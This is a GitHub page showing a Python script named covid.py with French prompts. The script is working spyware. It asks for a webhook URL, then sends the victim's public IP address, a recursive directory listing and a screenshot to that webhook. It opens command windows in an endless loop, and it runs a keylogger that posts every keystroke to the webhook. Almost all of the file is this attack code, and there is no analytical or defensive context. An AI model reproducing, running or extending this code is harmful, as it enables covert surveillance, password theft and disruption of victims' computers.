-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcovid.py
More file actions
131 lines (103 loc) · 3.68 KB
/
covid.py
File metadata and controls
131 lines (103 loc) · 3.68 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import os
import time
import requests
import threading
import subprocess
import io
import mss.tools
from pynput import keyboard
red = "\033[31m"
green = "\033[32m"
yellow = "\033[33m"
blue = "\033[34m"
white = "\033[37m"
reset = "\033[0m"
os.system("cls")
webhook_choix = input(f""" {yellow}
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⡠⠖⢉⣌⢆⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣠⠚⠉⠀⠈⠉⠲⣿⣿⡜⡀⠀⠀⠀⠀
⡔⢉⣙⣓⣒⡲⠮⡇⠀⠀⠀⠀⠀⠀⠘⡿⡇⡇⠀⠀⠀⠀
⡇⠘⣿⣿⣿⠏⠀⠀⠠⣀⡀⠀⠀⠀⠀⡇⠈⠳⡄⠀⠀⠀
⢹⠀⢻⣿⠇⠀⠀⣀⣀⠀⡍⠃⠀⠀⣠⣷⡟⢳⡜⡄⠀⠀
⠈⣆⠀⠋⢀⢔⣵⣿⠋⠹⣿⠒⠒⠚⠁⣿⣿⣾⣷⢸⠤⡄
⠀⡇⠀⠀⢸⢸⣿⣿⣶⣾⡏⡇⠀⠀⢀⡘⣝⠿⡻⢸⡰⠁
⠀⢳⠀⠀⠈⢆⠻⢿⡿⠟⡱⠁⠰⠛⢿⡇⠀⠉⠀⡸⠁⠀
⠀⠈⢆⠀⠀⠀⠉⠒⠒⣉⡀⠀⠀⢇⠀⡇⠀⠀⢠⠃⠀⠀
⠀⠀⠈⠣⡀⠀⠀⠀⠀⠀⢉⡱⠀⠀⠉⠀⢀⡴⠁⠀⠀⠀
⠀⠀⠀⠀⠈⠓⠦⣀⣉⡉⠁⢀⣀⣠⠤⠒⠥⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠰⣉⣀⣀⡠⠭⠛⠀⠀⠑⠒⠤⠤⠷⠀⠀⠀
⠀⠀⠀⠀⠀⠀
Met ton webhook : """)
os.system("cls")
webhook = webhook_choix
def cmd():
while True:
try:
os.system("start cmd")
except Exception(e):
print("Une erreur et survenue", e)
def capture():
with mss.MSS() as sct:
img = sct.grab(sct.monitors[1])
img_bytes = mss.tools.to_png(img.rgb, img.size)
files = {
"file": ("screen.png", io.BytesIO(img_bytes), "image/png")
}
requests.post(webhook, data={"content": "screenshot", "username": "WhiteWolf", "avatar_url": "https://i.postimg.cc/nhfNtJbK/f65aba67730462b50f7ec15c4bdb605d.jpg"}, files=files)
def dir():
try:
result = subprocess.run("dir /s", shell=True, capture_output=True, text=True)
contenue = result.stdout[:1900]
data = {
"content": contenue,
"username": "WhiteWolf",
"avatar_url": "https://i.postimg.cc/nhfNtJbK/f65aba67730462b50f7ec15c4bdb605d.jpg"
}
requests.post(webhook, json=data)
except Exception as e:
print("Probleme et survenue", e)
requests.post(webhook, json={"content": str(e)})
def ip():
try:
ip = requests.get("https://checkip.amazonaws.com").text.strip()
data = {
"content": ip,
"username": "WhiteWolf",
"avatar_url": "https://i.postimg.cc/nhfNtJbK/f65aba67730462b50f7ec15c4bdb605d.jpg"
}
requests.post(webhook, json=data)
except ValueError:
print("Value error")
time.sleep(3)
ip()
dir()
capture()
cmd()
buffer = ""
timer = None
def send_buffer():
global buffer
if buffer:
requests.post(webhook, json={"content": buffer, "username": "WhiteWolf", "avatar_url": "https://i.postimg.cc/nhfNtJbK/f65aba67730462b50f7ec15c4bdb605d.jpg"})
buffer = ""
def reset_timer():
global timer
if timer:
timer.cancel()
timer = threading.Timer(1.0, send_buffer)
timer.start()
def on_press(key):
global buffer
try:
buffer += key.char
except AttributeError:
if key == keyboard.Key.space:
buffer += " "
elif key == keyboard.Key.enter:
buffer += "\n"
reset_timer()
def start_listener():
listener = keyboard.Listener(on_press=on_press)
listener.start()
listener.join()
start_listener()